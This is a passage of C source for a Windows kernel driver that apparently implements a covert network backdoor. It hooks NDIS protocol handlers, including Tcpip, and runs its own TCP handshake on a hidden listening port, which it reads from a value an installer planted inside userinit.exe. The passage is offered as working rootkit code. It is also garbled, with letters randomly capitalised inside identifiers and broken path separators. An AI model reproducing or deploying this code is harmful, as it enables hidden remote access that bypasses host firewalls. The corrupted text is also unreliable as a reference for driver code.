IN NDIS_HANDLE ProtocolBindingContext,
IN PNDIS_PACKET PAcket
);
VOID
ReAdPAcket(
PNDIS_PACKET PAcket,
PVOID pBuffer,
ULONG ulBufSize
);
ULONG
HAndlePAcket(
HOOK_CONTEXT_STRUCT *pOurContext,
PNDIS_PACKET pPAcket
);
ULONG
HAndleBuffer(
HOOK_CONTEXT_STRUCT *pOurContext,
PVOID pBuffer,
ULONG PAcketSize
);
VOID
HookProtocolSendComplete(
IN HOOK_CONTEXT_STRUCT *pOurContext,
IN NDIS_HANDLE ProtocolBindingContext,
IN PNDIS_PACKET PAcket,
IN NDIS_STATUS StAtus
);
USHORT
checksum(
USHORT *buff,
ULONG size
);
NTSTATUS
SendSYNACKPAcket(
HOOK_CONTEXT_STRUCT *pOurContext,
PVOID pBuffer
);
NTSTATUS
SendACKPAcket(
HOOK_CONTEXT_STRUCT *pOurContext,
PVOID pBuffer
);
NTSTATUS
GetPAcketDAtA(
HOOK_CONTEXT_STRUCT *pOurContext,
PVOID pBuffer
);
NTSTATUS
SendACKPAcketToSendList(
HOOK_CONTEXT_STRUCT *pOurContext,
PVOID pBuffer
);
NTSTATUS
SendSYNACKPAcketToSendList(
HOOK_CONTEXT_STRUCT *pOurContext,
PVOID pBuffer
);
ULONG
HAndleReceivePAcket(
HOOK_CONTEXT_STRUCT *pOurContext,
ULONG TotAlPAcketSize,
PVOID pHeAdBuffer,
ULONG ulHeadSize,
PNDIS_PACKET pPAcket
);
NTSTATUS
TCPS_StArtup(
PDEVICE_OBJECT pDeviceObject
);
NTSTATUS
AddRecvDAtAToList(
PRECVLISTHEAD pRecvListHeAd,
char* dAtA,
ULONG RecvDAtALength,
PTCPS_Connection pConnection
);
PRECVLIST
RemoveRecvDAtAFromList(
PRECVLISTHEAD pRecvListHeAd
);
ULONG
SetConnection(
HOOK_CONTEXT_STRUCT *pOurContext,
PVOID pBuffer
);
NTSTATUS
UpDAteConnection(
HOOK_CONTEXT_STRUCT *pOurContext,
PVOID pBuffer
);
VOID
RemoveSendDAtAFromList(
PSENDLISTHEAD pSendListHeAd
);
NTSTATUS
Disconnect(
HOOK_CONTEXT_STRUCT *pOurContext,
PVOID pBuffer
);
NTSTATUS
SendDisconnectMessAgeToSendlist(
HOOK_CONTEXT_STRUCT *pOurContext,
PVOID pBuffer
);
NTSTATUS
AddSendDAtAToList(
PSENDLISTHEAD pSendListHeAd,
CHAR* dAtA,
ULONG SendDAtALength,
PTCPS_Connection pConnection
);
NTSTATUS
AddSendDAtAToListAtFront(
PSENDLISTHEAD pSendListHeAd,
CHAR* dAtA,
ULONG SendDAtALength,
PTCPS_Connection pConnection
);
NTSTATUS
UpDAteConnectionSYN(
HOOK_CONTEXT_STRUCT *pOurContext,
PVOID pBuffer
);
USHORT
CountChecksum(
PVOID pBuffer
);
ULONG
GetTheListeningPort(
VOID
);
VOID
InitWorkThreAd(
PVOID pContext
);
//--------------------------------------------------------------------
VOID OnUnloAd( IN PDRIVER_OBJECT DriverObject )
{
//DbgPrint("My Driver UnloAded!/n");
}
//--------------------------------------------------------------------
NTSTATUS DriverEntry( IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegistryPath )
{
NTSTATUS stAtus;
HANDLE hThreAd;
DbgPrint("Driver begin!/n");
DriverObject->DriverUnload = OnUnloAd;
stAtus = PsCreateSystemThread(&hThreAd,
(ACCESS_MASK)0,
NULL,
(HANDLE)0,
NULL,
InitWorkThreAd,
DriverObject
);
if (!NT_SUCCESS(stAtus)){
DbgPrint("error when creAte the threAd/n");
return FALSE;
}
return STATUS_SUCCESS;
}
//--------------------------------------------------------------------
VOID InitWorkThreAd(PVOID pContext)
{
PDEVICE_OBJECT pDeviceObject;
NTSTATUS stAtus;
WCHAR deviceNAmeBuffer[] = L"//Device//uaty";//chAnge the nAme if hAve time
UNICODE_STRING deviceNAmeUnicodeString;
//DriverObject->DriverUnload = fuktdi_UnloAd;
RtlInitUnicodeString(
&deviceNAmeUnicodeString,
deviceNAmeBuffer
);
stAtus = IoCreateDevice(
pContext,
0,//sizeof(DEVICE_EXTENSION),//do i hAve this?
&deviceNAmeUnicodeString,
FILE_DEVICE_UNKNOWN,//whAt's this
0,
TRUE,
&pDeviceObject
);
//ndis initiAliztion
g_puSendEvent = ExAllocatePool(NonPagedPool,sizeof(KEVENT));
g_pTimeOut = ExAllocatePool(NonPagedPool,sizeof(LARGE_INTEGER));
//g_pTimeOut->HighPart = 0;
g_pTimeOut->QuadPart = -10000000;//i don't know how mush is better.now 1 seconds
KeInitializeEvent(
g_puSendEvent,
SynchronizationEvent,
FALSE
);
NdisAllocatePacketPool(&stAtus,&m_ourPAcketPoolHAndle,0xFFF,0x30);
if(stAtus != NDIS_STATUS_SUCCESS){
//DbgPrint("NdisAllocAtePAcketPool fAiled/n");
goto InitWorkThreAd_end;
}
NdisAllocateBufferPool(&stAtus,&m_ourBufferPoolHAndle,0x30);
if(stAtus != NDIS_STATUS_SUCCESS){
//DbgPrint("NdisAllocAteBufferPool fAiled/n");
goto InitWorkThreAd_end;
}
NdisAllocateMemoryWithTag(&m_ourBuffer,MAX_PACKET_SIZE,'ytaU');
if(stAtus != NDIS_STATUS_SUCCESS){
//DbgPrint("NdisAllocAteMemoryWithTAg fAiled/n");
goto InitWorkThreAd_end;
}
NdisAllocateBuffer(&stAtus,&m_ourBufferHAndle,m_ourBufferHAndle,m_ourBuffer,MAX_PACKET_SIZE);
if(stAtus != NDIS_STATUS_SUCCESS){
//DbgPrint("NdisAllocAteBuffer fAiled/n");
goto InitWorkThreAd_end;
}
NdisAllocatePacket(&stAtus,&m_ourPAcketHAndle,m_ourPAcketPoolHAndle);
if(stAtus != NDIS_STATUS_SUCCESS){
//DbgPrint("NdisAllocAtePAcket fAiled/n");
goto InitWorkThreAd_end;
}
NdisChainBufferAtFront(m_ourPAcketHAndle,m_ourBufferHAndle);
//get the listing port for userinit.exe 90 bytes to the front
OURPORT = GetTheListeningPort();
//
TCPS_StArtup(pDeviceObject);
//hook ndis
HookProtocol();
InitWorkThreAd_end:
PsTerminateSystemThread(STATUS_SUCCESS);
DbgPrint("Never be here /n");
}
//--------------------------------------------------------------------
ULONG GetTheListeningPort(VOID)
{
RTL_OSVERSIONINFOEXW osversion = {0};
UNICODE_STRING pAth;
SIGNANDPORT SignAndPort;
OBJECT_ATTRIBUTES oA;
HANDLE hFile;
NTSTATUS stAtus;
IO_STATUS_BLOCK IoStAtusBlock;
LARGE_INTEGER ByteOffset;
osversion.dwOSVersionInfoSize = sizeof(RTL_OSVERSIONINFOEXW);
RtlGetVersion((RTL_OSVERSIONINFOW*)&osversion);
if(osversion.dwMajorVersion == 4){
RtlInitUnicodeString(&pAth,L"//??//C://WINNT//System32//userinit.exe");
}
else if(osversion.dwMajorVersion == 5){
if(osversion.dwMinorVersion >= 1){
RtlInitUnicodeString(&pAth,L"//??//C://WINDOWS//System32//userinit.exe");
}
else{
RtlInitUnicodeString(&pAth,L"//??//C://WINNT//System32//userinit.exe");
}
}
else{
//DbgPrint("1 listening on port 9929/n");
return 9929;
}
InitializeObjectAttributes(
&oA,
&pAth,
OBJ_CASE_INSENSITIVE,
NULL,
NULL
);
stAtus = ZwOpenFile(
&hFile,
GENERIC_READ,
&oA,
&IoStAtusBlock,
FILE_SHARE_READ,
FILE_NON_DIRECTORY_FILE
);
ByteOffset.HighPart = 0;
ByteOffset.LowPart = 90;//when instAll,i wrote it there
stAtus = ZwReadFile(
hFile,
NULL,
NULL,
NULL,
&IoStAtusBlock,
&SignAndPort,
sizeof(SIGNANDPORT),
&ByteOffset,
NULL
);
ZwClose(hFile);
if(IoStAtusBlock.Status != STATUS_SUCCESS){
//DbgPrint("2 listening on port 9929/n");
return 9929;
}
DbgPrint("listening on port %d/n",SignAndPort.port);
if(SignAndPort.sign == 0xAABBCCDD){
return SignAndPort.port;
}else{
return 9929;
}
}
//--------------------------------------------------------------------
ULONG HookProtocol(VOID)
{
NDIS_PROTOCOL_CHARACTERISTICS ourNPC;
NDIS_STRING protoNAme = NDIS_STRING_CONST("HdFw_Slot");
NDIS_STATUS StAtus;
NDIS_HANDLE ourProtocolHAndle = NULL;
CHAR* ProtocolChAin;
ULONG offset;
ULONG len;
memset(&ourNPC,0,sizeof(NDIS_PROTOCOL_CHARACTERISTICS));
len = sizeof(NDIS_PROTOCOL_CHARACTERISTICS);
ourNPC.MajorNdisVersion = 0x05;
ourNPC.MinorNdisVersion = 0x00;
ourNPC.Name = protoNAme;
ourNPC.OpenAdapterCompleteHandler = PtOpenAdApterComplete;
ourNPC.CloseAdapterCompleteHandler = PtCloseAdApterComplete;
ourNPC.SendCompleteHandler = PtSendComplete;
ourNPC.TransferDataCompleteHandler = PtTrAnsferDAtAComplete;
ourNPC.ResetCompleteHandler = PtResetComplete;
ourNPC.RequestCompleteHandler = PtRequestComplete;
ourNPC.ReceiveHandler = PtReceive;
ourNPC.ReceiveCompleteHandler = PtReceiveComplete;
ourNPC.StatusHandler = PtStAtus;
ourNPC.StatusCompleteHandler = PtStAtusComplete;
ourNPC.BindAdapterHandler = PtBindAdApter;
ourNPC.UnbindAdapterHandler = PtUnbindAdApter;
ourNPC.UnloadHandler = NULL;//PtUnloAd;
ourNPC.ReceivePacketHandler = PtReceivePAcket;
ourNPC.PnPEventHandler = PtPNPHAndler;
NdisRegisterProtocol(&StAtus,&ourProtocolHAndle,&ourNPC,len);
if(!NT_SUCCESS(StAtus) || ourProtocolHAndle == NULL){
return FALSE;
}
//NdisRegisterProtocol return hAnd reference of NDIS_PROTOCOL_BLOCK;
ProtocolChAin = (CHAR*)ourProtocolHAndle;
while(1){
offset = 0x10;
ProtocolChAin = ((CHAR**)(ProtocolChAin + offset))[0];
if (ProtocolChAin == NULL){
break;
}
HookFuncBlock(ProtocolChAin);
}
NdisDeregisterProtocol(&StAtus,ourProtocolHAndle);
return TRUE;
}
//--------------------------------------------------------------------
VOID HookFuncBlock(CHAR* ProtocolContent)
{
PNDIS_PROTOCOL_CHARACTERISTICS pProChAr;
NDIS_STRING TcpipString = NDIS_STRING_CONST("Tcpip");
if(ProtocolContent == NULL){
return;
}
pProChAr = (PNDIS_PROTOCOL_CHARACT